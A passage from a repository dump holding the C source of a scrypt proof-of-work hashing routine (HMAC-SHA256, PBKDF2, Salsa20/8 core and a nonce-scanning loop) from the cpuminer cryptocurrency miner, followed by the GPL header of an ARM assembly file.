0x80000000, 126 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 127 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 128 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 129 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 130 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 131 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 132 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 133 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 134 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 135 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 136 | 0x00000280, 0x00000280, 0x00000280, 0x00000280 137 | }; 138 | static const uint32_t innerpad_4way[4 * 11] = { 139 | 0x80000000, 0x80000000, 0x80000000, 0x80000000, 140 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 141 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 142 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 143 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 144 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 145 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 146 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 147 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 148 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 149 | 0x000004a0, 0x000004a0, 0x000004a0, 0x000004a0 150 | }; 151 | static const uint32_t outerpad_4way[4 * 8] = { 152 | 0x80000000, 0x80000000, 0x80000000, 0x80000000, 153 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 154 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 155 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 156 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 157 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 158 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 159 | 0x00000300, 0x00000300, 0x00000300, 0x00000300 160 | }; 161 | static const uint32_t finalblk_4way[4 * 16] __attribute__((aligned(16))) = { 162 | 0x00000001, 0x00000001, 0x00000001, 0x00000001, 163 | 0x80000000, 0x80000000, 0x80000000, 0x80000000, 164 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 165 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 166 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 167 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 168 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 169 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 170 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 171 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 172 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 173 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 174 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 175 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 176 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 177 | 0x00000620, 0x00000620, 0x00000620, 0x00000620 178 | }; 179 | 180 | static inline void HMAC_SHA256_80_init_4way(const uint32_t *key, 181 | uint32_t *tstate, uint32_t *ostate) 182 | { 183 | uint32_t ihash[4 * 8] __attribute__((aligned(16))); 184 | uint32_t pad[4 * 16] __attribute__((aligned(16))); 185 | int i; 186 | 187 | /* tstate is assumed to contain the midstate of key */ 188 | memcpy(pad, key + 4 * 16, 4 * 16); 189 | memcpy(pad + 4 * 4, keypad_4way, 4 * 48); 190 | sha256_transform_4way(tstate, pad, 0); 191 | memcpy(ihash, tstate, 4 * 32); 192 | 193 | sha256_init_4way(ostate); 194 | for (i = 0; i < 4 * 8; i++) 195 | pad[i] = ihash[i] ^ 0x5c5c5c5c; 196 | for (; i < 4 * 16; i++) 197 | pad[i] = 0x5c5c5c5c; 198 | sha256_transform_4way(ostate, pad, 0); 199 | 200 | sha256_init_4way(tstate); 201 | for (i = 0; i < 4 * 8; i++) 202 | pad[i] = ihash[i] ^ 0x36363636; 203 | for (; i < 4 * 16; i++) 204 | pad[i] = 0x36363636; 205 | sha256_transform_4way(tstate, pad, 0); 206 | } 207 | 208 | static inline void PBKDF2_SHA256_80_128_4way(const uint32_t *tstate, 209 | const uint32_t *ostate, const uint32_t *salt, uint32_t *output) 210 | { 211 | uint32_t istate[4 * 8] __attribute__((aligned(16))); 212 | uint32_t ostate2[4 * 8] __attribute__((aligned(16))); 213 | uint32_t ibuf[4 * 16] __attribute__((aligned(16))); 214 | uint32_t obuf[4 * 16] __attribute__((aligned(16))); 215 | int i, j; 216 | 217 | memcpy(istate, tstate, 4 * 32); 218 | sha256_transform_4way(istate, salt, 0); 219 | 220 | memcpy(ibuf, salt + 4 * 16, 4 * 16); 221 | memcpy(ibuf + 4 * 5, innerpad_4way, 4 * 44); 222 | memcpy(obuf + 4 * 8, outerpad_4way, 4 * 32); 223 | 224 | for (i = 0; i < 4; i++) { 225 | memcpy(obuf, istate, 4 * 32); 226 | ibuf[4 * 4 + 0] = i + 1; 227 | ibuf[4 * 4 + 1] = i + 1; 228 | ibuf[4 * 4 + 2] = i + 1; 229 | ibuf[4 * 4 + 3] = i + 1; 230 | sha256_transform_4way(obuf, ibuf, 0); 231 | 232 | memcpy(ostate2, ostate, 4 * 32); 233 | sha256_transform_4way(ostate2, obuf, 0); 234 | for (j = 0; j < 4 * 8; j++) 235 | output[4 * 8 * i + j] = swab32(ostate2[j]); 236 | } 237 | } 238 | 239 | static inline void PBKDF2_SHA256_128_32_4way(uint32_t *tstate, 240 | uint32_t *ostate, const uint32_t *salt, uint32_t *output) 241 | { 242 | uint32_t buf[4 * 16] __attribute__((aligned(16))); 243 | int i; 244 | 245 | sha256_transform_4way(tstate, salt, 1); 246 | sha256_transform_4way(tstate, salt + 4 * 16, 1); 247 | sha256_transform_4way(tstate, finalblk_4way, 0); 248 | memcpy(buf, tstate, 4 * 32); 249 | memcpy(buf + 4 * 8, outerpad_4way, 4 * 32); 250 | 251 | sha256_transform_4way(ostate, buf, 0); 252 | for (i = 0; i < 4 * 8; i++) 253 | output[i] = swab32(ostate[i]); 254 | } 255 | 256 | #endif /* HAVE_SHA256_4WAY */ 257 | 258 | 259 | #ifdef HAVE_SHA256_8WAY 260 | 261 | static const uint32_t finalblk_8way[8 * 16] __attribute__((aligned(32))) = { 262 | 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001, 263 | 0x80000000, 0x80000000, 0x80000000, 0x80000000, 0x80000000, 0x80000000, 0x80000000, 0x80000000, 264 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 265 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 266 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 267 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 268 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 269 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 270 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 271 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 272 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 273 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 274 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 275 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 276 | 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 277 | 0x00000620, 0x00000620, 0x00000620, 0x00000620, 0x00000620, 0x00000620, 0x00000620, 0x00000620 278 | }; 279 | 280 | static inline void HMAC_SHA256_80_init_8way(const uint32_t *key, 281 | uint32_t *tstate, uint32_t *ostate) 282 | { 283 | uint32_t ihash[8 * 8] __attribute__((aligned(32))); 284 | uint32_t pad[8 * 16] __attribute__((aligned(32))); 285 | int i; 286 | 287 | /* tstate is assumed to contain the midstate of key */ 288 | memcpy(pad, key + 8 * 16, 8 * 16); 289 | for (i = 0; i < 8; i++) 290 | pad[8 * 4 + i] = 0x80000000; 291 | memset(pad + 8 * 5, 0x00, 8 * 40); 292 | for (i = 0; i < 8; i++) 293 | pad[8 * 15 + i] = 0x00000280; 294 | sha256_transform_8way(tstate, pad, 0); 295 | memcpy(ihash, tstate, 8 * 32); 296 | 297 | sha256_init_8way(ostate); 298 | for (i = 0; i < 8 * 8; i++) 299 | pad[i] = ihash[i] ^ 0x5c5c5c5c; 300 | for (; i < 8 * 16; i++) 301 | pad[i] = 0x5c5c5c5c; 302 | sha256_transform_8way(ostate, pad, 0); 303 | 304 | sha256_init_8way(tstate); 305 | for (i = 0; i < 8 * 8; i++) 306 | pad[i] = ihash[i] ^ 0x36363636; 307 | for (; i < 8 * 16; i++) 308 | pad[i] = 0x36363636; 309 | sha256_transform_8way(tstate, pad, 0); 310 | } 311 | 312 | static inline void PBKDF2_SHA256_80_128_8way(const uint32_t *tstate, 313 | const uint32_t *ostate, const uint32_t *salt, uint32_t *output) 314 | { 315 | uint32_t istate[8 * 8] __attribute__((aligned(32))); 316 | uint32_t ostate2[8 * 8] __attribute__((aligned(32))); 317 | uint32_t ibuf[8 * 16] __attribute__((aligned(32))); 318 | uint32_t obuf[8 * 16] __attribute__((aligned(32))); 319 | int i, j; 320 | 321 | memcpy(istate, tstate, 8 * 32); 322 | sha256_transform_8way(istate, salt, 0); 323 | 324 | memcpy(ibuf, salt + 8 * 16, 8 * 16); 325 | for (i = 0; i < 8; i++) 326 | ibuf[8 * 5 + i] = 0x80000000; 327 | memset(ibuf + 8 * 6, 0x00, 8 * 36); 328 | for (i = 0; i < 8; i++) 329 | ibuf[8 * 15 + i] = 0x000004a0; 330 | 331 | for (i = 0; i < 8; i++) 332 | obuf[8 * 8 + i] = 0x80000000; 333 | memset(obuf + 8 * 9, 0x00, 8 * 24); 334 | for (i = 0; i < 8; i++) 335 | obuf[8 * 15 + i] = 0x00000300; 336 | 337 | for (i = 0; i < 4; i++) { 338 | memcpy(obuf, istate, 8 * 32); 339 | ibuf[8 * 4 + 0] = i + 1; 340 | ibuf[8 * 4 + 1] = i + 1; 341 | ibuf[8 * 4 + 2] = i + 1; 342 | ibuf[8 * 4 + 3] = i + 1; 343 | ibuf[8 * 4 + 4] = i + 1; 344 | ibuf[8 * 4 + 5] = i + 1; 345 | ibuf[8 * 4 + 6] = i + 1; 346 | ibuf[8 * 4 + 7] = i + 1; 347 | sha256_transform_8way(obuf, ibuf, 0); 348 | 349 | memcpy(ostate2, ostate, 8 * 32); 350 | sha256_transform_8way(ostate2, obuf, 0); 351 | for (j = 0; j < 8 * 8; j++) 352 | output[8 * 8 * i + j] = swab32(ostate2[j]); 353 | } 354 | } 355 | 356 | static inline void PBKDF2_SHA256_128_32_8way(uint32_t *tstate, 357 | uint32_t *ostate, const uint32_t *salt, uint32_t *output) 358 | { 359 | uint32_t buf[8 * 16] __attribute__((aligned(32))); 360 | int i; 361 | 362 | sha256_transform_8way(tstate, salt, 1); 363 | sha256_transform_8way(tstate, salt + 8 * 16, 1); 364 | sha256_transform_8way(tstate, finalblk_8way, 0); 365 | 366 | memcpy(buf, tstate, 8 * 32); 367 | for (i = 0; i < 8; i++) 368 | buf[8 * 8 + i] = 0x80000000; 369 | memset(buf + 8 * 9, 0x00, 8 * 24); 370 | for (i = 0; i < 8; i++) 371 | buf[8 * 15 + i] = 0x00000300; 372 | sha256_transform_8way(ostate, buf, 0); 373 | 374 | for (i = 0; i < 8 * 8; i++) 375 | output[i] = swab32(ostate[i]); 376 | } 377 | 378 | #endif /* HAVE_SHA256_8WAY */ 379 | 380 | 381 | #if defined(USE_ASM) && defined(__x86_64__) 382 | 383 | #define SCRYPT_MAX_WAYS 12 384 | #define HAVE_SCRYPT_3WAY 1 385 | int scrypt_best_throughput(); 386 | void scrypt_core(uint32_t *X, uint32_t *V, int N); 387 | void scrypt_core_3way(uint32_t *X, uint32_t *V, int N); 388 | #if defined(USE_AVX2) 389 | #undef SCRYPT_MAX_WAYS 390 | #define SCRYPT_MAX_WAYS 24 391 | #define HAVE_SCRYPT_6WAY 1 392 | void scrypt_core_6way(uint32_t *X, uint32_t *V, int N); 393 | #endif 394 | 395 | #elif defined(USE_ASM) && defined(__i386__) 396 | 397 | #define SCRYPT_MAX_WAYS 4 398 | #define scrypt_best_throughput() 1 399 | void scrypt_core(uint32_t *X, uint32_t *V, int N); 400 | 401 | #elif defined(USE_ASM) && defined(__arm__) && defined(__APCS_32__) 402 | 403 | void scrypt_core(uint32_t *X, uint32_t *V, int N); 404 | #if defined(__ARM_NEON__) 405 | #undef HAVE_SHA256_4WAY 406 | #define SCRYPT_MAX_WAYS 3 407 | #define HAVE_SCRYPT_3WAY 1 408 | #define scrypt_best_throughput() 3 409 | void scrypt_core_3way(uint32_t *X, uint32_t *V, int N); 410 | #endif 411 | 412 | #elif defined(USE_ASM) && (defined(__powerpc__) || defined(__ppc__) || defined(__PPC__)) 413 | 414 | #define SCRYPT_MAX_WAYS 4 415 | #define scrypt_best_throughput() 1 416 | void scrypt_core(uint32_t *X, uint32_t *V, int N); 417 | 418 | #else 419 | 420 | static inline void xor_salsa8(uint32_t B[16], const uint32_t Bx[16]) 421 | { 422 | uint32_t x00,x01,x02,x03,x04,x05,x06,x07,x08,x09,x10,x11,x12,x13,x14,x15; 423 | int i; 424 | 425 | x00 = (B[ 0] ^= Bx[ 0]); 426 | x01 = (B[ 1] ^= Bx[ 1]); 427 | x02 = (B[ 2] ^= Bx[ 2]); 428 | x03 = (B[ 3] ^= Bx[ 3]); 429 | x04 = (B[ 4] ^= Bx[ 4]); 430 | x05 = (B[ 5] ^= Bx[ 5]); 431 | x06 = (B[ 6] ^= Bx[ 6]); 432 | x07 = (B[ 7] ^= Bx[ 7]); 433 | x08 = (B[ 8] ^= Bx[ 8]); 434 | x09 = (B[ 9] ^= Bx[ 9]); 435 | x10 = (B[10] ^= Bx[10]); 436 | x11 = (B[11] ^= Bx[11]); 437 | x12 = (B[12] ^= Bx[12]); 438 | x13 = (B[13] ^= Bx[13]); 439 | x14 = (B[14] ^= Bx[14]); 440 | x15 = (B[15] ^= Bx[15]); 441 | for (i = 0; i < 8; i += 2) { 442 | #define R(a, b) (((a) << (b)) | ((a) >> (32 - (b)))) 443 | /* Operate on columns. */ 444 | x04 ^= R(x00+x12, 7); x09 ^= R(x05+x01, 7); 445 | x14 ^= R(x10+x06, 7); x03 ^= R(x15+x11, 7); 446 | 447 | x08 ^= R(x04+x00, 9); x13 ^= R(x09+x05, 9); 448 | x02 ^= R(x14+x10, 9); x07 ^= R(x03+x15, 9); 449 | 450 | x12 ^= R(x08+x04,13); x01 ^= R(x13+x09,13); 451 | x06 ^= R(x02+x14,13); x11 ^= R(x07+x03,13); 452 | 453 | x00 ^= R(x12+x08,18); x05 ^= R(x01+x13,18); 454 | x10 ^= R(x06+x02,18); x15 ^= R(x11+x07,18); 455 | 456 | /* Operate on rows. */ 457 | x01 ^= R(x00+x03, 7); x06 ^= R(x05+x04, 7); 458 | x11 ^= R(x10+x09, 7); x12 ^= R(x15+x14, 7); 459 | 460 | x02 ^= R(x01+x00, 9); x07 ^= R(x06+x05, 9); 461 | x08 ^= R(x11+x10, 9); x13 ^= R(x12+x15, 9); 462 | 463 | x03 ^= R(x02+x01,13); x04 ^= R(x07+x06,13); 464 | x09 ^= R(x08+x11,13); x14 ^= R(x13+x12,13); 465 | 466 | x00 ^= R(x03+x02,18); x05 ^= R(x04+x07,18); 467 | x10 ^= R(x09+x08,18); x15 ^= R(x14+x13,18); 468 | #undef R 469 | } 470 | B[ 0] += x00; 471 | B[ 1] += x01; 472 | B[ 2] += x02; 473 | B[ 3] += x03; 474 | B[ 4] += x04; 475 | B[ 5] += x05; 476 | B[ 6] += x06; 477 | B[ 7] += x07; 478 | B[ 8] += x08; 479 | B[ 9] += x09; 480 | B[10] += x10; 481 | B[11] += x11; 482 | B[12] += x12; 483 | B[13] += x13; 484 | B[14] += x14; 485 | B[15] += x15; 486 | } 487 | 488 | static inline void scrypt_core(uint32_t *X, uint32_t *V, int N) 489 | { 490 | uint32_t i, j, k; 491 | 492 | for (i = 0; i < N; i++) { 493 | memcpy(&V[i * 32], X, 128); 494 | xor_salsa8(&X[0], &X[16]); 495 | xor_salsa8(&X[16], &X[0]); 496 | } 497 | for (i = 0; i < N; i++) { 498 | j = 32 * (X[16] & (N - 1)); 499 | for (k = 0; k < 32; k++) 500 | X[k] ^= V[j + k]; 501 | xor_salsa8(&X[0], &X[16]); 502 | xor_salsa8(&X[16], &X[0]); 503 | } 504 | } 505 | 506 | #endif 507 | 508 | #ifndef SCRYPT_MAX_WAYS 509 | #define SCRYPT_MAX_WAYS 1 510 | #define scrypt_best_throughput() 1 511 | #endif 512 | 513 | unsigned char *scrypt_buffer_alloc(int N) 514 | { 515 | return malloc((size_t)N * SCRYPT_MAX_WAYS * 128 + 63); 516 | } 517 | 518 | static void scrypt_1024_1_1_256(const uint32_t *input, uint32_t *output, 519 | uint32_t *midstate, unsigned char *scratchpad, int N) 520 | { 521 | uint32_t tstate[8], ostate[8]; 522 | uint32_t X[32] __attribute__((aligned(128))); 523 | uint32_t *V; 524 | 525 | V = (uint32_t *)(((uintptr_t)(scratchpad) + 63) & ~ (uintptr_t)(63)); 526 | 527 | memcpy(tstate, midstate, 32); 528 | HMAC_SHA256_80_init(input, tstate, ostate); 529 | PBKDF2_SHA256_80_128(tstate, ostate, input, X); 530 | 531 | scrypt_core(X, V, N); 532 | 533 | PBKDF2_SHA256_128_32(tstate, ostate, X, output); 534 | } 535 | 536 | #ifdef HAVE_SHA256_4WAY 537 | static void scrypt_1024_1_1_256_4way(const uint32_t *input, 538 | uint32_t *output, uint32_t *midstate, unsigned char *scratchpad, int N) 539 | { 540 | uint32_t tstate[4 * 8] __attribute__((aligned(128))); 541 | uint32_t ostate[4 * 8] __attribute__((aligned(128))); 542 | uint32_t W[4 * 32] __attribute__((aligned(128))); 543 | uint32_t X[4 * 32] __attribute__((aligned(128))); 544 | uint32_t *V; 545 | int i, k; 546 | 547 | V = (uint32_t *)(((uintptr_t)(scratchpad) + 63) & ~ (uintptr_t)(63)); 548 | 549 | for (i = 0; i < 20; i++) 550 | for (k = 0; k < 4; k++) 551 | W[4 * i + k] = input[k * 20 + i]; 552 | for (i = 0; i < 8; i++) 553 | for (k = 0; k < 4; k++) 554 | tstate[4 * i + k] = midstate[i]; 555 | HMAC_SHA256_80_init_4way(W, tstate, ostate); 556 | PBKDF2_SHA256_80_128_4way(tstate, ostate, W, W); 557 | for (i = 0; i < 32; i++) 558 | for (k = 0; k < 4; k++) 559 | X[k * 32 + i] = W[4 * i + k]; 560 | scrypt_core(X + 0 * 32, V, N); 561 | scrypt_core(X + 1 * 32, V, N); 562 | scrypt_core(X + 2 * 32, V, N); 563 | scrypt_core(X + 3 * 32, V, N); 564 | for (i = 0; i < 32; i++) 565 | for (k = 0; k < 4; k++) 566 | W[4 * i + k] = X[k * 32 + i]; 567 | PBKDF2_SHA256_128_32_4way(tstate, ostate, W, W); 568 | for (i = 0; i < 8; i++) 569 | for (k = 0; k < 4; k++) 570 | output[k * 8 + i] = W[4 * i + k]; 571 | } 572 | #endif /* HAVE_SHA256_4WAY */ 573 | 574 | #ifdef HAVE_SCRYPT_3WAY 575 | 576 | static void scrypt_1024_1_1_256_3way(const uint32_t *input, 577 | uint32_t *output, uint32_t *midstate, unsigned char *scratchpad, int N) 578 | { 579 | uint32_t tstate[3 * 8], ostate[3 * 8]; 580 | uint32_t X[3 * 32] __attribute__((aligned(64))); 581 | uint32_t *V; 582 | 583 | V = (uint32_t *)(((uintptr_t)(scratchpad) + 63) & ~ (uintptr_t)(63)); 584 | 585 | memcpy(tstate + 0, midstate, 32); 586 | memcpy(tstate + 8, midstate, 32); 587 | memcpy(tstate + 16, midstate, 32); 588 | HMAC_SHA256_80_init(input + 0, tstate + 0, ostate + 0); 589 | HMAC_SHA256_80_init(input + 20, tstate + 8, ostate + 8); 590 | HMAC_SHA256_80_init(input + 40, tstate + 16, ostate + 16); 591 | PBKDF2_SHA256_80_128(tstate + 0, ostate + 0, input + 0, X + 0); 592 | PBKDF2_SHA256_80_128(tstate + 8, ostate + 8, input + 20, X + 32); 593 | PBKDF2_SHA256_80_128(tstate + 16, ostate + 16, input + 40, X + 64); 594 | 595 | scrypt_core_3way(X, V, N); 596 | 597 | PBKDF2_SHA256_128_32(tstate + 0, ostate + 0, X + 0, output + 0); 598 | PBKDF2_SHA256_128_32(tstate + 8, ostate + 8, X + 32, output + 8); 599 | PBKDF2_SHA256_128_32(tstate + 16, ostate + 16, X + 64, output + 16); 600 | } 601 | 602 | #ifdef HAVE_SHA256_4WAY 603 | static void scrypt_1024_1_1_256_12way(const uint32_t *input, 604 | uint32_t *output, uint32_t *midstate, unsigned char *scratchpad, int N) 605 | { 606 | uint32_t tstate[12 * 8] __attribute__((aligned(128))); 607 | uint32_t ostate[12 * 8] __attribute__((aligned(128))); 608 | uint32_t W[12 * 32] __attribute__((aligned(128))); 609 | uint32_t X[12 * 32] __attribute__((aligned(128))); 610 | uint32_t *V; 611 | int i, j, k; 612 | 613 | V = (uint32_t *)(((uintptr_t)(scratchpad) + 63) & ~ (uintptr_t)(63)); 614 | 615 | for (j = 0; j < 3; j++) 616 | for (i = 0; i < 20; i++) 617 | for (k = 0; k < 4; k++) 618 | W[128 * j + 4 * i + k] = input[80 * j + k * 20 + i]; 619 | for (j = 0; j < 3; j++) 620 | for (i = 0; i < 8; i++) 621 | for (k = 0; k < 4; k++) 622 | tstate[32 * j + 4 * i + k] = midstate[i]; 623 | HMAC_SHA256_80_init_4way(W + 0, tstate + 0, ostate + 0); 624 | HMAC_SHA256_80_init_4way(W + 128, tstate + 32, ostate + 32); 625 | HMAC_SHA256_80_init_4way(W + 256, tstate + 64, ostate + 64); 626 | PBKDF2_SHA256_80_128_4way(tstate + 0, ostate + 0, W + 0, W + 0); 627 | PBKDF2_SHA256_80_128_4way(tstate + 32, ostate + 32, W + 128, W + 128); 628 | PBKDF2_SHA256_80_128_4way(tstate + 64, ostate + 64, W + 256, W + 256); 629 | for (j = 0; j < 3; j++) 630 | for (i = 0; i < 32; i++) 631 | for (k = 0; k < 4; k++) 632 | X[128 * j + k * 32 + i] = W[128 * j + 4 * i + k]; 633 | scrypt_core_3way(X + 0 * 96, V, N); 634 | scrypt_core_3way(X + 1 * 96, V, N); 635 | scrypt_core_3way(X + 2 * 96, V, N); 636 | scrypt_core_3way(X + 3 * 96, V, N); 637 | for (j = 0; j < 3; j++) 638 | for (i = 0; i < 32; i++) 639 | for (k = 0; k < 4; k++) 640 | W[128 * j + 4 * i + k] = X[128 * j + k * 32 + i]; 641 | PBKDF2_SHA256_128_32_4way(tstate + 0, ostate + 0, W + 0, W + 0); 642 | PBKDF2_SHA256_128_32_4way(tstate + 32, ostate + 32, W + 128, W + 128); 643 | PBKDF2_SHA256_128_32_4way(tstate + 64, ostate + 64, W + 256, W + 256); 644 | for (j = 0; j < 3; j++) 645 | for (i = 0; i < 8; i++) 646 | for (k = 0; k < 4; k++) 647 | output[32 * j + k * 8 + i] = W[128 * j + 4 * i + k]; 648 | } 649 | #endif /* HAVE_SHA256_4WAY */ 650 | 651 | #endif /* HAVE_SCRYPT_3WAY */ 652 | 653 | #ifdef HAVE_SCRYPT_6WAY 654 | static void scrypt_1024_1_1_256_24way(const uint32_t *input, 655 | uint32_t *output, uint32_t *midstate, unsigned char *scratchpad, int N) 656 | { 657 | uint32_t tstate[24 * 8] __attribute__((aligned(128))); 658 | uint32_t ostate[24 * 8] __attribute__((aligned(128))); 659 | uint32_t W[24 * 32] __attribute__((aligned(128))); 660 | uint32_t X[24 * 32] __attribute__((aligned(128))); 661 | uint32_t *V; 662 | int i, j, k; 663 | 664 | V = (uint32_t *)(((uintptr_t)(scratchpad) + 63) & ~ (uintptr_t)(63)); 665 | 666 | for (j = 0; j < 3; j++) 667 | for (i = 0; i < 20; i++) 668 | for (k = 0; k < 8; k++) 669 | W[8 * 32 * j + 8 * i + k] = input[8 * 20 * j + k * 20 + i]; 670 | for (j = 0; j < 3; j++) 671 | for (i = 0; i < 8; i++) 672 | for (k = 0; k < 8; k++) 673 | tstate[8 * 8 * j + 8 * i + k] = midstate[i]; 674 | HMAC_SHA256_80_init_8way(W + 0, tstate + 0, ostate + 0); 675 | HMAC_SHA256_80_init_8way(W + 256, tstate + 64, ostate + 64); 676 | HMAC_SHA256_80_init_8way(W + 512, tstate + 128, ostate + 128); 677 | PBKDF2_SHA256_80_128_8way(tstate + 0, ostate + 0, W + 0, W + 0); 678 | PBKDF2_SHA256_80_128_8way(tstate + 64, ostate + 64, W + 256, W + 256); 679 | PBKDF2_SHA256_80_128_8way(tstate + 128, ostate + 128, W + 512, W + 512); 680 | for (j = 0; j < 3; j++) 681 | for (i = 0; i < 32; i++) 682 | for (k = 0; k < 8; k++) 683 | X[8 * 32 * j + k * 32 + i] = W[8 * 32 * j + 8 * i + k]; 684 | scrypt_core_6way(X + 0 * 32, V, N); 685 | scrypt_core_6way(X + 6 * 32, V, N); 686 | scrypt_core_6way(X + 12 * 32, V, N); 687 | scrypt_core_6way(X + 18 * 32, V, N); 688 | for (j = 0; j < 3; j++) 689 | for (i = 0; i < 32; i++) 690 | for (k = 0; k < 8; k++) 691 | W[8 * 32 * j + 8 * i + k] = X[8 * 32 * j + k * 32 + i]; 692 | PBKDF2_SHA256_128_32_8way(tstate + 0, ostate + 0, W + 0, W + 0); 693 | PBKDF2_SHA256_128_32_8way(tstate + 64, ostate + 64, W + 256, W + 256); 694 | PBKDF2_SHA256_128_32_8way(tstate + 128, ostate + 128, W + 512, W + 512); 695 | for (j = 0; j < 3; j++) 696 | for (i = 0; i < 8; i++) 697 | for (k = 0; k < 8; k++) 698 | output[8 * 8 * j + k * 8 + i] = W[8 * 32 * j + 8 * i + k]; 699 | } 700 | #endif /* HAVE_SCRYPT_6WAY */ 701 | 702 | int scanhash_scrypt(int thr_id, uint32_t *pdata, 703 | unsigned char *scratchbuf, const uint32_t *ptarget, 704 | uint32_t max_nonce, unsigned long *hashes_done, int N) 705 | { 706 | uint32_t data[SCRYPT_MAX_WAYS * 20], hash[SCRYPT_MAX_WAYS * 8]; 707 | uint32_t midstate[8]; 708 | uint32_t n = pdata[19] - 1; 709 | const uint32_t Htarg = ptarget[7]; 710 | int throughput = scrypt_best_throughput(); 711 | int i; 712 | 713 | #ifdef HAVE_SHA256_4WAY 714 | if (sha256_use_4way()) 715 | throughput *= 4; 716 | #endif 717 | 718 | for (i = 0; i < throughput; i++) 719 | memcpy(data + i * 20, pdata, 80); 720 | 721 | sha256_init(midstate); 722 | sha256_transform(midstate, data, 0); 723 | 724 | do { 725 | for (i = 0; i < throughput; i++) 726 | data[i * 20 + 19] = ++n; 727 | 728 | #if defined(HAVE_SHA256_4WAY) 729 | if (throughput == 4) 730 | scrypt_1024_1_1_256_4way(data, hash, midstate, scratchbuf, N); 731 | else 732 | #endif 733 | #if defined(HAVE_SCRYPT_3WAY) && defined(HAVE_SHA256_4WAY) 734 | if (throughput == 12) 735 | scrypt_1024_1_1_256_12way(data, hash, midstate, scratchbuf, N); 736 | else 737 | #endif 738 | #if defined(HAVE_SCRYPT_6WAY) 739 | if (throughput == 24) 740 | scrypt_1024_1_1_256_24way(data, hash, midstate, scratchbuf, N); 741 | else 742 | #endif 743 | #if defined(HAVE_SCRYPT_3WAY) 744 | if (throughput == 3) 745 | scrypt_1024_1_1_256_3way(data, hash, midstate, scratchbuf, N); 746 | else 747 | #endif 748 | scrypt_1024_1_1_256(data, hash, midstate, scratchbuf, N); 749 | 750 | for (i = 0; i < throughput; i++) { 751 | if (hash[i * 8 + 7] <= Htarg && fulltest(hash + i * 8, ptarget)) { 752 | *hashes_done = n - pdata[19] + 1; 753 | pdata[19] = data[i * 20 + 19]; 754 | return 1; 755 | } 756 | } 757 | } while (n < max_nonce && !work_restart[thr_id].restart); 758 | 759 | *hashes_done = n - pdata[19] + 1; 760 | pdata[19] = n; 761 | return 0; 762 | } 763 | -------------------------------------------------------------------------------- /scripts/scrypt-arm.S: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2012, 2014 pooler@litecoinpool.org 3 | * 4 | * This program is free software; you can redistribute it and/or modify it 5 | * under the terms of the GNU General Public License as published by the Free 6 | * Software Foundation; either version 2 of the License, or (at your option) 7 | * any later version. See COPYING for more details. 8 | */ 9 | 10 | #include "cpuminer-config.h" 11 | 12 | #if defined(USE_ASM) && defined(__arm__) && defined(__APCS_32__) 13 | 14 | #if defined(__ARM_ARCH_5E__) || defined(__ARM_ARCH_5TE__) || \ 15 | defined(__ARM_ARCH_5TEJ__) || defined(__ARM_ARCH_6__) || \ 16 | defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || \ 17 | defined(__ARM_ARCH_6M__) || defined(__ARM_ARCH_6T2__) || \ 18 | 